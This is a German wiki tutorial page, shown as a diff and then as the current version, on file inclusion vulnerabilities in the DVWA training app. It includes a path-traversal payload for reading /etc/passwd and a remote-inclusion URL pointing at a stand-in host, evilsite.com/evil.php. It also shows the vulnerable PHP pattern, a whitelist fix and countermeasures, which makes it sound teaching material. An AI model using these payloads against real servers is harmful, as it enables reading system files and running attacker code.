DVWA File Inclusion: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
Keine Bearbeitungszusammenfassung |
Keine Bearbeitungszusammenfassung |
||
| (15 dazwischenliegende Versionen von einem anderen Benutzer werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
=Problem= | |||
*Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet. | *Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet. | ||
=Local File Inclusion= | |||
*Ausführen einer Datei, die lokal auf dem Server vorliegt. | |||
*z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd) | |||
[[Datei:DVWA-fileinclusion-1.png|1000px]] | |||
=Remote File Inclusion= | =Remote File Inclusion= | ||
*Download und Ausführen einer Datei von extern. | *Download und Ausführen einer Datei von extern. | ||
*z.Bsp. Anpassen der URL: ...?page=http://www.evilsite.com/evil.php | |||
=Ursache= | |||
*Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung. | |||
*z. Bsp. PHP: | |||
<?php | |||
$file = $_GET[ 'page' ]; | |||
.... | |||
*Wird die Variable $file im weiteren Verlauf ohne weitere Kontrolle verwendet, kann es zu dieser Schwachstelle kommen. | |||
*Beispiel für eine sichere Kontrolle: | |||
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { | |||
echo "ERROR: File not found!"; | |||
exit; | |||
} | |||
=Gegenmassnahmen= | |||
= | *Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen. | ||
* | |||
Aktuelle Version vom 8. Juli 2021, 08:58 Uhr
Problem
- Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet.
Local File Inclusion
- Ausführen einer Datei, die lokal auf dem Server vorliegt.
- z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd)
Remote File Inclusion
- Download und Ausführen einer Datei von extern.
- z.Bsp. Anpassen der URL: ...?page=http://www.evilsite.com/evil.php
Ursache
- Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung.
- z. Bsp. PHP:
<?php $file = $_GET[ 'page' ]; ....
- Wird die Variable $file im weiteren Verlauf ohne weitere Kontrolle verwendet, kann es zu dieser Schwachstelle kommen.
- Beispiel für eine sichere Kontrolle:
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
echo "ERROR: File not found!";
exit;
}
Gegenmassnahmen
- Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen.